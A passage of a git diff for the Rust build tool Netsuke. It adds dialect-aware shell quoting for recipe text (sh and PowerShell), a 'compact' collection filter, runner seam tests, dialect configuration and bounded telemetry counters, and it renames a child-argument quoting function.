75cdc2d3b..90ebdc866 100644 --- a/src/runner/tests/mod.rs +++ b/src/runner/tests/mod.rs @@ -21,6 +21,9 @@ use tracing_subscriber::filter::LevelFilter; mod manifest_structure_telemetry_tests; +#[path = "shell_seam_tests.rs"] +mod shell_seam_tests; + const MINIMAL_MANIFEST: &str = concat!( "netsuke_version: \"1.0.0\"\n", "targets:\n", diff --git a/src/runner/tests/shell_seam_tests.rs b/src/runner/tests/shell_seam_tests.rs new file mode 100644 index 000000000..ff855edd7 --- /dev/null +++ b/src/runner/tests/shell_seam_tests.rs @@ -0,0 +1,151 @@ +//! The runner's resolved interpreter reaches the recipe-text filters. +//! +//! `StdlibConfig::with_recipe_shell` stores a dialect, and +//! `stdlib::recipe_text` reads it — but neither half shows that the runner +//! ever passes the resolved interpreter *down*. A build that resolves +//! `NETSUKE_WINDOWS_SHELL=bash` and then quotes its recipes for PowerShell +//! emits syntactically valid text for the wrong shell, which is the +//! silent-corruption path this milestone exists to close. +//! +//! These cases drive the build-manifest loader with an explicitly chosen +//! interpreter and assert on what the filters rendered. The distinguishing +//! evidence is that *changing the shell changes the output*: a case fixed on +//! one dialect would pass with the plumbing deleted, because that dialect is +//! what the default already produces. +//! +//! They live in the crate rather than in `tests/` because the seam is +//! crate-private — `ManifestLoadInputs` is `pub(crate)` — and because +//! `RecipeShell::host_default` returns the *host* interpreter, which on Linux +//! is always `Posix`, so an external test could not vary the shell at all. + +use super::*; + +/// Render `template` as a target description through the build-manifest loader. +/// +/// Uses [`generation::load_manifest_for_build_with_limits`], the same entry +/// point `load_manifest_with_stage_reporting` calls, so the path from resolved +/// interpreter to rendered text is the runner's real one. +fn render_description_with_shell(shell: RecipeShell, template: &str) -> Result { + let manifest = format!( + concat!( + "netsuke_version: \"1.0.0\"\n", + "targets:\n", + " - name: seam\n", + " description: \"{}\"\n", + " command: echo seam\n", + ), + template + ); + let (_temp, manifest_path) = write_manifest(&manifest)?; + let inputs = generation::ManifestLoadInputs::from_cli(&Cli::default(), shell)?; + let loaded = generation::load_manifest_for_build_with_limits(&manifest_path, &inputs, None)?; + Ok(loaded + .targets + .first() + .and_then(|target| target.description.clone()) + .unwrap_or_default()) +} + +/// A template naming its dialect explicitly: one `shell_quote` call, `sh`. +/// +/// The word `a b` contains a space, so it needs quoting. The constant pins +/// `dialect='sh'` so its rendering does not depend on the host, which is what +/// lets the cases below assert an exact result rather than a "successful" +/// build. The default dialect is deliberately *not* exercised here — an +/// omitted `dialect` follows the loader instead, and +/// `omitted_dialect_follows_the_loader_shell` is the case that covers it. +const DIALECT_SENSITIVE_TEMPLATE: &str = "{{ 'a b' | shell_quote(dialect='sh') }}"; + +/// Both POSIX-family interpreters reach the filters and quote as `sh`. +/// +/// `dialect='sh'` is requested explicitly, so this shows the build surface +/// accepts that argument and renders the `sh` form. The assertion is exact +/// rather than a substring check, so it cannot be satisfied by rendering +/// merely something non-empty. It does *not* show the *resolved* interpreter +/// reaches the filters — the pin makes the rendered text independent of the +/// loader — which is why `omitted_dialect_follows_the_loader_shell` carries +/// that half, and its own comment calls itself the load-bearing case for +/// exactly that reason. +#[rstest] +#[case(RecipeShell::Posix)] +#[case(RecipeShell::Bash)] +fn build_loader_quotes_for_the_resolved_posix_shell(#[case] shell: RecipeShell) -> Result<()> { + let rendered = render_description_with_shell(shell, DIALECT_SENSITIVE_TEMPLATE)?; + ensure!( + rendered == "a\x27 b\x27", + "expected `sh` quoting for {shell:?}, got {rendered:?}" + ); + Ok(()) +} + +/// `Posix` and `Bash` both quote as `sh`, so the two render identically. +/// +/// This is the three-to-two surjection `RecipeShell::dialect` documents, +/// observed through the runner rather than asserted on the type. +#[rstest] +fn bash_and_posix_render_identically_through_the_loader() -> Result<()> { + let posix = render_description_with_shell(RecipeShell::Posix, DIALECT_SENSITIVE_TEMPLATE)?; + let bash = render_description_with_shell(RecipeShell::Bash, DIALECT_SENSITIVE_TEMPLATE)?; + ensure!( + posix == bash, + "Posix rendered {posix:?} but Bash rendered {bash:?}" + ); + Ok(()) +} + +/// An omitted `dialect` follows the interpreter the loader was given. +/// +/// This is the load-bearing case. It is the only assertion here that fails if +/// the runner stops passing its resolved shell down while the config seam +/// survives, because every other case names its dialect explicitly and so +/// renders the same text regardless of the default. On this host the two +/// loaders must disagree — `Posix` quotes as `sh`, `PowerShell` does not — so +/// reverted plumbing shows up as two identical renderings. +#[rstest] +fn omitted_dialect_follows_the_loader_shell() -> Result<()> { + let template = "{{ 'a b' | shell_quote }}"; + let posix = render_description_with_shell(RecipeShell::Posix, template)?; + let windows = render_description_with_shell(RecipeShell::PowerShell, template)?; + ensure!( + posix != windows, + "the default dialect did not follow the loader; both rendered {posix:?}" + ); + ensure!( + posix == "a\x27 b\x27", + "expected the `sh` default to suffix-quote, got {posix:?}" + ); + Ok(()) +} + +/// `shell_join` reaches the runner seam too, not only `shell_quote`. +#[rstest] +fn shell_join_is_registered_on_the_build_surface() -> Result<()> { + let rendered = render_description_with_shell( + RecipeShell::Posix, + "{{ ['-C', 'target-cpu=native'] | shell_join(dialect='sh') }}", + )?; + ensure!( + rendered == "-C target-cpu\x27=native\x27", + "expected joined `sh` words, got {rendered:?}" + ); + Ok(()) +} + +/// A bad dialect is reported with its machine-readable code, at this seam too. +/// +/// The code lives in the catalogue text, so its presence here shows the +/// diagnostics the filters raise survive the loader's error wrapping. +#[rstest] +fn an_unknown_dialect_is_rejected_with_its_code() -> Result<()> { + let error = render_description_with_shell( + RecipeShell::Posix, + "{{ 'a b' | shell_quote(dialect='cmd') }}", + ) + .expect_err("an unknown dialect must fail the load"); + let rendered = format!("{error:#}"); + ensure!( + rendered.contains("netsuke::jinja::shell::args"), + "expected the shell args code in: {rendered}" + ); + Ok(()) +} diff --git a/src/shell_word.rs b/src/shell_word.rs new file mode 100644 index 000000000..c96809a27 --- /dev/null +++ b/src/shell_word.rs @@ -0,0 +1,242 @@ +//! Encode one string as a single shell word for a named dialect. +//! +//! This is a leaf below IR lowering, Ninja rendering, and the standard +//! library: all three may depend on it, and it depends on nothing above them. +//! It exists so that exactly one recipe-shell quoting implementation is +//! compiled in — `quote_path` and the recipe-text template filters both +//! delegate here instead of each carrying their own encoder. +//! +//! It deliberately does **not** live beside [`crate::recipe_shell`]. That +//! module is the data-only vocabulary type three layers agree on, and giving +//! it a `shell_quote` dependency would change its character. The dependency +//! runs the other way: `RecipeShell` knows its dialect, and this module never +//! names `RecipeShell`. + +use shell_quote::{QuoteRefExt, Sh}; + +/// The shell dialect a word is encoded for. +#[derive(Clone, Copy, Debug, Eq, PartialEq)] +pub(crate) enum ShellDialect { + /// POSIX `sh` word quoting, also correct for Bash and Z Shell. + Sh, + /// Windows PowerShell single-quoted string quoting. + PowerShell, +} + +impl ShellDialect { + /// Every dialect, in the order errors enumerate them. + pub(crate) const ALL: &'static [Self] = &[Self::Sh, Self::PowerShell]; + + /// Return the `dialect` keyword-argument spelling of this dialect. + pub(crate) const fn as_str(self) -> &'static str { + match self { + Self::Sh => "sh", + Self::PowerShell => "powershell", + } + } + + /// Return the dialect's name as a metric label. + /// + /// A `'static` value that is one of the closed set a recorder admits, so a + /// counter series stays bounded. Distinct from [`Self::as_str`] only in + /// intent: that one is the spelling a manifest writes and may gain + /// synonyms, this one must not. + pub(crate) const fn telemetry_name(self) -> &'static str { + self.as_str() + } + + /// Parse one `dialect` keyword argument, case-insensitively. + /// + /// Deliberately rejects `bash`. See decision D3: `RecipeShell::Bash` maps + /// to `Sh` because `Sh` output is valid Bash, but the `shell-quote` crate's + /// `Bash` encoder emits a different `$'...'` form that Netsuke does not + /// compile in. Accepting the name now would lock in a meaning a real + /// `bash` dialect would have to break. + pub(crate) fn parse(raw: &str) -> Option { + Self::ALL + .iter() + .copied() + .find(|dialect| raw.eq_ignore_ascii_case(dialect.as_str())) + } +} + +/// Report whether `value` can survive as part of a single-line recipe. +/// +/// Newline, carriage return, and NUL cannot: a Ninja binding is single-line by +/// construction. This is the same rule the Ninja writer enforces at its own +/// boundary; see ADR-014. It is promoted here so one predicate has one +/// definition rather than a copy at each enforcement point. +pub(crate) fn is_recipe_admissible(value: &str) -> bool { + !value.contains(['\n', '\r', '\0']) +} + +/// Encode `value` as one shell word for `dialect`. +/// +/// This function is total: the caller owns the question of which inputs a +/// recipe may carry, and asks [`is_recipe_admissible`] separately. `quote_path` +/// depends on that split to keep its existing total behaviour. +/// +/// The `Sh` arm delegates to `shell_quote`'s quoter, which is *suffix*-quoting +/// rather than canonically enclosing: it leaves the longest safe prefix bare and +/// quotes only the remainder, so `a b` becomes `a' b'` and not `'a b'`. The +/// contract is therefore round-tripping, not any particular shape — every output +/// decodes back to `value` under a POSIX shell. The table in +/// `sh_quoting_is_minimal` pins the shapes this version actually produces. +#[expect( + clippy::disallowed_methods, + reason = "The one sanctioned implementation of recipe-shell word quoting; \ + shell_word exists so every other call site delegates here." +)] +pub(crate) fn quote_word(dialect: ShellDialect, value: &str) -> String { + if dialect == ShellDialect::PowerShell { + return format!("'{}'", value.replace('\'', "''")); + } + // `shell_quote` returns bytes because a `Vec` argument need not be + // UTF-8; a `&str` always is, so this conversion cannot lose information. + let bytes: Vec = value.quoted(Sh); + match String::from_utf8(bytes) { + Ok(text) => text, + Err(err) => { + debug_assert!(false, "shell quoting produced non UTF-8 bytes: {err}"); + String::from_utf8_lossy(err.as_bytes()).into_owned() + } + } +} + +#[cfg(test)] +mod tests { + //! Tests for the dialect mapping, the admissibility rule, and encoding. + use super::{ShellDialect, is_recipe_admissible, quote_word}; + use crate::recipe_shell::RecipeShell; + use rstest::rstest; + + /// `Posix` and `Bash` differ in transport, not in lexis, so both map to + /// `Sh`; only `PowerShell` gets the PowerShell encoder. + #[rstest] + #[case::posix(RecipeShell::Posix, ShellDialect::Sh)] + #[case::bash(RecipeShell::Bash, ShellDialect::Sh)] + #[case::power_shell(RecipeShell::PowerShell, ShellDialect::PowerShell)] + fn every_recipe_shell_has_one_dialect( + #[case] shell: RecipeShell, + #[case] expected: ShellDialect, + ) { + assert_eq!(shell.dialect(), expected); + } + + /// Every dialect names itself, and `ALL` enumerates each exactly once. + /// + /// `ALL` is what the `dialect_invalid` diagnostic renders, so a dialect + /// missing from it would be unnameable and unparsable at once. + #[rstest] + fn dialect_names_are_unique_and_complete() { + let names = ShellDialect::ALL + .iter() + .map(|dialect| dialect.as_str()) + .collect::>(); + assert_eq!(names, vec!["sh", "powershell"]); + let unique: std::collections::BTreeSet<_> = names.iter().collect(); + assert_eq!( + unique.len(), + names.len(), + "every dialect must have a distinct spelling: {names:?}" + ); + } + + /// Every name in `ALL` parses, case-insensitively, and round-trips. + #[rstest] + fn every_dialect_name_parses( + #[values(ShellDialect::Sh, ShellDialect::PowerShell)] dialect: ShellDialect, + ) { + let name = dialect.as_str(); + assert_eq!(ShellDialect::parse(name), Some(dialect)); + assert_eq!(ShellDialect::parse(&name.to_uppercase()), Some(dialect)); + } + + /// The telemetry name is exactly the spelling a manifest writes. + /// + /// [`ShellDialect::telemetry_name`] exists so the metric label vocabulary + /// is a decision separate from the keyword-argument spelling. This pins the + /// two together today, so the day a synonym is added to `as_str` the test + /// asks whether the label set should widen too, rather than letting the + /// counter emit a value the recorder does not admit. That failure is + /// silent: an unadmitted series returns a noop handle and records nothing. + #[rstest] + fn the_telemetry_name_is_the_manifest_spelling() { + for dialect in ShellDialect::ALL { + assert_eq!( + dialect.telemetry_name(), + dialect.as_str(), + "telemetry_name must name the same dialect as_str does" + ); + } + } + + /// Names outside `ALL` are rejected rather than guessed at. + /// + /// `bash` is the case that matters: D3 declines it deliberately, because + /// `shell-quote`'s `Bash` encoder emits a `$'...'` form Netsuke does not + /// compile in. `zsh` and `sh`-adjacent spellings are near misses that a + /// prefix or alias match would wrongly accept. + #[rstest] + #[case::bash("bash")] + #[case::cmd("cmd")] + #[case::zsh("zsh")] + #[case::pwsh("pwsh")] + #[case::powershell_exe("powershell.exe")] + #[case::empty("")] + #[case::whitespace(" sh ")] + fn unknown_dialect_names_are_rejected(#[case] raw: &str) { + assert_eq!(ShellDialect::parse(raw), None, "parse({raw:?})"); + } + + /// The admissibility rule rejects exactly the three control characters. + #[rstest] + #[case::plain("plain", true)] + #[case::empty("", true)] + #[case::space("a b", true)] + #[case::quote("it's", true)] + #[case::tab("a\tb", true)] + #[case::newline("a\nb", false)] + #[case::carriage_return("a\rb", false)] + #[case::nul("a\0b", false)] + fn admissibility_rejects_only_control_characters(#[case] value: &str, #[case] expected: bool) { + assert_eq!( + is_recipe_admissible(value), + expected, + "is_recipe_admissible({value:?})" + ); + } + + /// `Sh` output is the minimal form: bare where safe, quoted where not. + /// + /// The expected values are **measured**, not derived — they pin the current + /// output of `shell-quote` 0.7.2 with `default-features = false, + /// features = ["sh"]`, and that encoder emits a *suffix-quoting* form + /// rather than a canonically enclosing one: it leaves the safe prefix bare + /// and quotes only the remainder, so `a b` becomes `a' b'` and not `'a b'`. + /// Each of these decodes back to its input — `it\'s` is `it` + `\'` + `s` — + /// which is the property that actually matters and which + /// `OBL-SH-ROUNDTRIP` discharges against a real `/bin/sh` in EP-M4. + /// + /// This table exists as a change detector: if a dependency bump alters the + /// encoder's style, the Ninja snapshot suite changes too, and this test + /// localizes the cause to the encoder rather than to recipe lowering. + #[rstest] + #[case::bare("plain", "plain")] + #[case::space("a b", r"a' b'")] + #[case::single_quote("it's", r"it\'s")] + fn sh_quoting_is_minimal(#[case] value: &str, #[case] expected: &str) { + assert_eq!(quote_word(ShellDialect::Sh, value), expected); + } + + /// PowerShell doubles an embedded quote and never escapes a backtick. + #[rstest] + #[case::bare("plain", "'plain'")] + #[case::space("a b", "'a b'")] + #[case::single_quote("it's", "'it''s'")] + #[case::dollar("$HOME", "'$HOME'")] + #[case::empty("", "''")] + fn power_shell_quoting_doubles_quotes(#[case] value: &str, #[case] expected: &str) { + assert_eq!(quote_word(ShellDialect::PowerShell, value), expected); + } +} diff --git a/src/stdlib/collections.rs b/src/stdlib/collections.rs index 826ef8961..ca6780f26 100644 --- a/src/stdlib/collections.rs +++ b/src/stdlib/collections.rs @@ -10,11 +10,12 @@ use minijinja::{ use crate::localization::{self, keys}; -/// Register the collection filters (`uniq`, `flatten`, `group_by`) on an -/// environment. +/// Register the collection filters (`uniq`, `flatten`, `compact`, `group_by`) +/// on an environment. pub(crate) fn register_filters(env: &mut Environment<'_>) { env.add_filter("uniq", |values: Value| uniq_filter(&values)); env.add_filter("flatten", |values: Value| flatten_filter(&values)); + env.add_filter("compact", |values: Value| compact_filter(&values)); env.add_filter("group_by", |values: Value, attr: String| { group_by_filter(&values, &attr) }); @@ -96,6 +97,48 @@ fn uniq_filter(values: &Value) -> Result { Ok(Value::from_serialize(items)) } +/// Report whether a member is dropped by `compact`. +/// +/// Only `none`, undefined, and the empty string are blank. `0`, `false`, `[]`, +/// `{}`, and a whitespace-only string are values and are retained; naming the +/// predicate keeps that asymmetry visible to the next reader. +/// +/// The empty-string arm tests [`ValueKind::String`] rather than asking +/// `Value::as_str`. That method answers for well-formed UTF-8 *bytes* too, so +/// `Value::from_bytes(vec![])` would report an empty string and be dropped — +/// silently discarding a byte array on the strength of a text rule that does +/// not apply to it. Nothing in Netsuke constructs such a value today +/// ([`crate::stdlib::value_from_bytes`] normalises empty bytes to a string), +/// but the predicate now states the rule it actually means. +fn is_blank(value: &Value) -> bool { + value.is_none() + || value.is_undefined() + || (value.kind() == ValueKind::String && value.as_str().is_some_and(str::is_empty)) +} + +/// Drop blank members from a sequence, preserving order. +/// +/// # Errors +/// +/// Returns an error naming the received kind when the subject is not a +/// sequence. See decision D8: `Value::try_iter()` is not a sequence check — it +/// accepts a map (yielding its keys) and a string (yielding its characters), so +/// `{{ my_map | compact }}` would quietly return the map's keys. +fn compact_filter(values: &Value) -> Result { + let kind = values.kind(); + if !matches!(kind, ValueKind::Seq | ValueKind::Iterable) { + return Err(Error::new( + ErrorKind::InvalidOperation, + localization::message(keys::STDLIB_COLLECTIONS_COMPACT_NOT_SEQUENCE) + .with_arg("kind", kind.to_string()) + .to_string(), + )); + } + + let kept: Vec = values.try_iter()?.filter(|item| !is_blank(item)).collect(); + Ok(Value::from_serialize(kept)) +} + /// Flatten nested sequences within `values` into a single flat sequence. /// /// # Errors diff --git a/src/stdlib/command/quote.rs b/src/stdlib/command/child_argument.rs similarity index 71% rename from src/stdlib/command/quote.rs rename to src/stdlib/command/child_argument.rs index b36db025f..49e00fdef 100644 --- a/src/stdlib/command/quote.rs +++ b/src/stdlib/command/child_argument.rs @@ -39,7 +39,7 @@ impl std::error::Error for QuoteError {} /// Returns [`QuoteError::ContainsLineBreak`] when `arg` contains a newline or /// carriage return. #[cfg(windows)] -pub(super) fn quote(arg: &str) -> Result { +pub(super) fn quote_child_argument(arg: &str) -> Result { if arg.chars().any(|ch| matches!(ch, '\n' | '\r')) { return Err(QuoteError::ContainsLineBreak); } @@ -87,12 +87,26 @@ pub(super) fn quote(arg: &str) -> Result { /// Quote an argument for the platform shell, rejecting line breaks. /// +/// This is the *second* sanctioned caller of `shell_quote`'s quoter, and its +/// divergence from [`crate::shell_word::quote_word`] is deliberate: this +/// function encodes one `cmd.exe`/`exec` child argument rather than recipe +/// text, and the two boundaries do not share an admissibility rule. It rejects +/// only `\n` and `\r` — not NUL, which `is_recipe_admissible` also rejects — +/// because a child argument reaches `Command::arg`, which tolerates a NUL-free +/// argument of any shape, while recipe text must survive a Ninja binding. See +/// ADR-014 for the Ninja side of that split. +/// /// # Errors /// /// Returns [`QuoteError::ContainsLineBreak`] when `arg` contains a newline or /// carriage return. #[cfg(not(windows))] -pub(super) fn quote(arg: &str) -> Result { +#[expect( + clippy::disallowed_methods, + reason = "Sanctioned second call site: quoting one child argument, not \ + recipe text; see the admissibility divergence above." +)] +pub(super) fn quote_child_argument(arg: &str) -> Result { if arg.chars().any(|ch| matches!(ch, '\n' | '\r')) { return Err(QuoteError::ContainsLineBreak); } @@ -110,9 +124,10 @@ pub(super) fn quote(arg: &str) -> Result { #[cfg(all(windows, test))] mod tests { //! Unit tests for the Windows `cmd.exe` quoting rules implemented by - //! `quote` in the parent module. Gated on `windows` because it exercises - //! the `cfg(windows)` branch of `quote`, so it does not run on other - //! platforms; see `non_windows_tests` below for the Unix counterpart. + //! `quote_child_argument` in the parent module. Gated on `windows` because + //! it exercises the `cfg(windows)` branch of `quote_child_argument`, so it + //! does not run on other platforms; see `non_windows_tests` below for the + //! Unix counterpart. use super::*; use anyhow::{Result, ensure}; @@ -139,10 +154,10 @@ mod tests { ]; for (input, expected) in success_cases { - let actual = quote(input)?; + let actual = quote_child_argument(input)?; ensure!( actual == expected, - "quote({input:?}) -> {actual:?}, expected {expected:?}" + "quote_child_argument({input:?}) -> {actual:?}, expected {expected:?}" ); } @@ -152,12 +167,12 @@ mod tests { ]; for (input, expected) in error_cases { - let err = quote(input).expect_err(&format!( - "quote({input:?}) succeeded but expected error {expected:?}" + let err = quote_child_argument(input).expect_err(&format!( + "quote_child_argument({input:?}) succeeded but expected error {expected:?}" )); ensure!( err == expected, - "quote({input:?}) returned error {err:?}, expected {expected:?}" + "quote_child_argument({input:?}) returned error {err:?}, expected {expected:?}" ); } Ok(()) @@ -170,14 +185,14 @@ mod non_windows_tests { use super::*; #[test] - fn quote_rejects_line_breaks_on_unix() { - let err = quote("line\nbreak").expect_err("line feeds should be rejected"); + fn quote_child_argument_rejects_line_breaks_on_unix() { + let err = quote_child_argument("line\nbreak").expect_err("line feeds should be rejected"); assert_eq!(err, QuoteError::ContainsLineBreak); } #[test] - fn quote_wraps_arguments_with_spaces() { - let quoted = quote("needs space").expect("quote should succeed"); + fn quote_child_argument_wraps_arguments_with_spaces() { + let quoted = quote_child_argument("needs space").expect("quote should succeed"); assert_ne!(quoted, "needs space", "quote should escape spaces"); assert!( quoted.contains('\'') || quoted.contains('"'), diff --git a/src/stdlib/command/filters.rs b/src/stdlib/command/filters.rs index 0a5b1cc67..fa5bce5cf 100644 --- a/src/stdlib/command/filters.rs +++ b/src/stdlib/command/filters.rs @@ -9,10 +9,10 @@ use minijinja::{ #[cfg(windows)] use super::execution::run_program; use super::{ + child_argument::quote_child_argument, context::{CommandContext, GrepCall}, error::command_error, execution::run_command, - quote::quote, result::StdoutResult, value_from_bytes, }; @@ -134,7 +134,7 @@ fn format_command(base: &str, args: &[String]) -> Result { let mut command = String::from(base); for arg in args { command.push(' '); - let quoted = quote(arg).map_err(|err| { + let quoted = quote_child_argument(arg).map_err(|err| { Error::new( ErrorKind::InvalidOperation, localization::message(keys::COMMAND_QUOTE_INVALID) diff --git a/src/stdlib/command/mod.rs b/src/stdlib/command/mod.rs index cb5c9b736..86feef3b4 100644 --- a/src/stdlib/command/mod.rs +++ b/src/stdlib/command/mod.rs @@ -43,13 +43,13 @@ //! Never allow untrusted input to control command strings or patterns, as this //! enables arbitrary code execution. +mod child_argument; mod config; mod context; mod error; mod execution; mod filters; mod pipes; -mod quote; mod result; #[cfg(test)] mod tests_support; diff --git a/src/stdlib/config/mod.rs b/src/stdlib/config/mod.rs index 52078db7d..d71ea9158 100644 --- a/src/stdlib/config/mod.rs +++ b/src/stdlib/config/mod.rs @@ -2,6 +2,7 @@ mod ambient; mod clock; +mod recipe_shell; mod which; use super::config_types::HomeDirectory; @@ -12,6 +13,8 @@ pub use super::config_types::{ }; use super::{command, network::NetworkPolicy, time::WallClock, which::WORKSPACE_SKIP_DIRS}; use crate::localization::{self, keys}; +use crate::recipe_shell::RecipeShell; +use crate::shell_word::ShellDialect; use anyhow::{anyhow, bail, ensure}; use camino::{Utf8Path, Utf8PathBuf}; use cap_std::fs_utf8::Dir; @@ -50,6 +53,12 @@ pub struct StdlibConfig { home_directory: HomeDirectory, /// Wall-clock source backing the `now()` helper. clock: WallClock, + /// Shell dialect the recipe-text filters quote for. + /// + /// Stores the dialect rather than the interpreter: `Posix` and `Bash` are + /// indistinguishable downstream, so keeping the wider type would imply a + /// distinction the configuration cannot honour. + dialect: ShellDialect, } impl StdlibConfig { @@ -97,6 +106,7 @@ impl StdlibConfig { command_path_override: None, home_directory: HomeDirectory::Ambient, clock: WallClock::default(), + dialect: RecipeShell::host_default().dialect(), }) } diff --git a/src/stdlib/config/recipe_shell.rs b/src/stdlib/config/recipe_shell.rs new file mode 100644 index 000000000..c75d271aa --- /dev/null +++ b/src/stdlib/config/recipe_shell.rs @@ -0,0 +1,103 @@ +//! Recipe-shell dialect configuration on [`StdlibConfig`]. +//! +//! The recipe-text filters quote paths and arguments for one shell dialect, so +//! the configuration has to carry that choice. It lives here rather than in +//! `config/mod.rs` for the reason `which.rs` gives for its own clustering: +//! `config/mod.rs` holds the shared configuration surface, and a feature's +//! builders and accessors belong together. +//! +//! Only the **dialect** is stored, not the interpreter. `RecipeShell::Posix` +//! and `RecipeShell::Bash` both quote as `sh`, so keeping the wider type would +//! leave a `recipe_shell()` accessor inviting a question the configuration +//! cannot answer honestly. + +use super::StdlibConfig; +use crate::recipe_shell::RecipeShell; +use crate::shell_word::ShellDialect; + +impl StdlibConfig { + /// Select the recipe interpreter whose quoting rules the filters follow. + /// + /// The interpreter is collapsed to its dialect on the way in, so `Posix` + /// and `Bash` are stored identically. + /// + /// The builder can safely land ahead of its callers: being `pub`, it is not + /// dead code before the runner threads a resolved shell through it, and it + /// already accepts the value that call site needs to pass. + /// + /// # Examples + /// + /// ``` + /// # use cap_std::{ambient_authority, fs_utf8::Dir}; + /// # use netsuke::recipe_shell::RecipeShell; + /// # use netsuke::stdlib::StdlibConfig; + /// let dir = Dir::open_ambient_dir(".", ambient_authority()) + /// .expect("open ambient workspace"); + /// let _config = StdlibConfig::new(dir) + /// .expect("construct stdlib config") + /// .with_recipe_shell(RecipeShell::Bash); + /// // Bash and Posix both quote as `sh`; only the transport differs. + /// ``` + #[must_use] + pub const fn with_recipe_shell(mut self, shell: RecipeShell) -> Self { + self.dialect = shell.dialect(); + self + } + + /// Return the dialect the recipe-text filters quote for. + /// + /// Read by `register_read_only_helpers`, which resolves the default once + /// per environment rather than per call. + pub(crate) const fn dialect(&self) -> ShellDialect { + self.dialect + } +} + +#[cfg(test)] +mod tests { + //! The dialect follows the selected interpreter, and collapses `Posix` and + //! `Bash` together. + use super::StdlibConfig; + use crate::recipe_shell::RecipeShell; + use crate::shell_word::ShellDialect; + use anyhow::Result; + + /// Build a configuration at the process cwd for dialect tests. + /// + /// Returns the fallible constructor's result rather than unwrapping it, so + /// the `expect` sits in the `#[test]` bodies where Whitaker's + /// `no_expect_outside_tests` recognizes it. That lint does not treat a + /// `#[cfg(test)]` helper as test code, and `StdlibConfig::from_current_dir` + /// is the same constructor `config_tests.rs` exercises for the same reason. + fn config() -> Result { + StdlibConfig::from_current_dir() + } + + /// `with_recipe_shell` stores the dialect, not the interpreter, so `Bash` + /// and `Posix` are indistinguishable afterwards — which is the point: this + /// is the three-to-two surjection `RecipeShell::dialect` documents. + #[test] + fn dialect_follows_recipe_shell() { + let base = config().expect("open workspace for dialect test"); + assert_eq!( + base.clone().with_recipe_shell(RecipeShell::Posix).dialect(), + ShellDialect::Sh + ); + assert_eq!( + base.clone().with_recipe_shell(RecipeShell::Bash).dialect(), + ShellDialect::Sh + ); + assert_eq!( + base.with_recipe_shell(RecipeShell::PowerShell).dialect(), + ShellDialect::PowerShell + ); + } + + /// The default is the host interpreter's dialect, so a caller that never + /// touches the builder still gets correct quoting for the host. + #[test] + fn default_dialect_matches_the_host_interpreter() { + let base = config().expect("open workspace for dialect test"); + assert_eq!(base.dialect(), RecipeShell::host_default().dialect()); + } +} diff --git a/src/stdlib/mod.rs b/src/stdlib/mod.rs index 40f322828..e2e32b646 100644 --- a/src/stdlib/mod.rs +++ b/src/stdlib/mod.rs @@ -14,6 +14,7 @@ mod config_types; mod io_helpers; mod network; mod path; +mod recipe_text; mod register; mod time; mod which; @@ -29,6 +30,7 @@ pub use network::{ NetworkPolicyConfigError, NetworkPolicyViolation, }; pub use path::{FILE_READ_FILTER_VALUES, FILE_READ_OUTCOME_VALUES, FILE_READ_TOTAL}; +pub use recipe_text::{DIALECT_SOURCE_VALUES, DIALECT_VALUES, SHELL_QUOTE_DIALECT_TOTAL}; pub(crate) use register::{is_manifest_query_disabled_error, register_manifest_query}; pub use register::{register, register_with_config, value_from_bytes}; pub use time::{ClockInstant, ClockProvider, fixed_clock, system_clock}; diff --git a/src/stdlib/recipe_text/dialect_telemetry.rs b/src/stdlib/recipe_text/dialect_telemetry.rs new file mode 100644 index 000000000..e7d949fa9 --- /dev/null +++ b/src/stdlib/recipe_text/dialect_telemetry.rs @@ -0,0 +1,147 @@ +//! Bounded telemetry for the recipe-text dialect boundary. +//! +//! Both `shell_quote` and `shell_join` reach exactly one place when they +//! resolve which encoding to apply: [`super::resolve_dialect`]. That single +//! boundary is therefore also the single telemetry point, and each resolution +//! is counted once under two closed label vocabularies. +//! +//! The `source` label is the reason this series exists. A call that omits +//! `dialect` receives a host- and configuration-dependent default, so the +//! *rendered text* of a manifest that does not pin the dialect can change +//! between releases or hosts with no manifest edit. Nothing else aggregates +//! that population: the manifests affected are otherwise indistinguishable +//! from those that pin it, and the difference is invisible in the generated +//! Ninja. Counting it makes the exposed set measurable, which is what turns +//! "pin your dialect" from advice into something an operator can size. +//! +//! What is recorded is deliberately bounded and redacted. The labels are +//! `dialect` and `source`, both drawn from the constant sets below, so the +//! number of series is fixed at four by this module rather than by anything a +//! manifest supplies. No manifest text, template source, or rendered value +//! reaches a label. + +use metrics::{counter, describe_counter}; +use std::sync::Once; + +/// Counts recipe-text dialect resolutions by bounded `dialect` and `source`. +/// +/// Both labels are drawn from the closed sets below, so the series count is +/// fixed by this module rather than by anything a manifest supplies. The +/// application recorder admits the series through the same sets, so the +/// counter is exported rather than silently dropped as a noop handle. +pub const SHELL_QUOTE_DIALECT_TOTAL: &str = "netsuke_manifest_shell_quote_dialect_total"; + +/// The bounded `dialect` recorded for POSIX `sh` quoting. +pub(crate) const DIALECT_SH: &str = "sh"; +/// The bounded `dialect` recorded for Windows PowerShell quoting. +pub(crate) const DIALECT_POWERSHELL: &str = "powershell"; + +/// The closed `dialect` vocabulary admitted on [`SHELL_QUOTE_DIALECT_TOTAL`]. +/// +/// Kept in step with `ShellDialect::ALL` by a test, so adding a dialect cannot +/// silently leave it uncounted. The encoder type is private to the crate, so +/// this is deliberately a code span rather than an intra-doc link. +pub const DIALECT_VALUES: [&str; 2] = [DIALECT_SH, DIALECT_POWERSHELL]; + +/// The bounded `source` recorded when the call site passed `dialect` itself. +pub(crate) const SOURCE_EXPLICIT: &str = "explicit"; +/// The bounded `source` recorded when the call site omitted `dialect`. +pub(crate) const SOURCE_DEFAULT: &str = "default"; + +/// The closed `source` vocabulary admitted on [`SHELL_QUOTE_DIALECT_TOTAL`]. +pub const DIALECT_SOURCE_VALUES: [&str; 2] = [SOURCE_EXPLICIT, SOURCE_DEFAULT]; + +/// Describe the dialect counter once per process. +fn describe_dialect_metrics() { + static DESCRIBE: Once = Once::new(); + DESCRIBE.call_once(|| { + describe_counter!( + SHELL_QUOTE_DIALECT_TOTAL, + "Counts shell_quote and shell_join dialect resolutions labelled by \ + dialect (sh or powershell) and source: explicit when the call \ + site passed dialect, or default when it omitted the argument and \ + received the host-dependent default. A high default count marks \ + the manifests whose generated text is not pinned to an encoding." + ); + }); +} + +/// Record one dialect resolution and return it unchanged. +/// +/// This is the telemetry boundary for both recipe-text filters: every +/// resolution that reaches it is counted exactly once. `dialect` and `source` +/// are always one of the constants above — a literal never reaches a label — +/// so the series stay bounded and no manifest text reaches the metric. +pub(super) fn record_dialect(dialect: &'static str, source: &'static str, value: T) -> T { + describe_dialect_metrics(); + debug_assert!( + 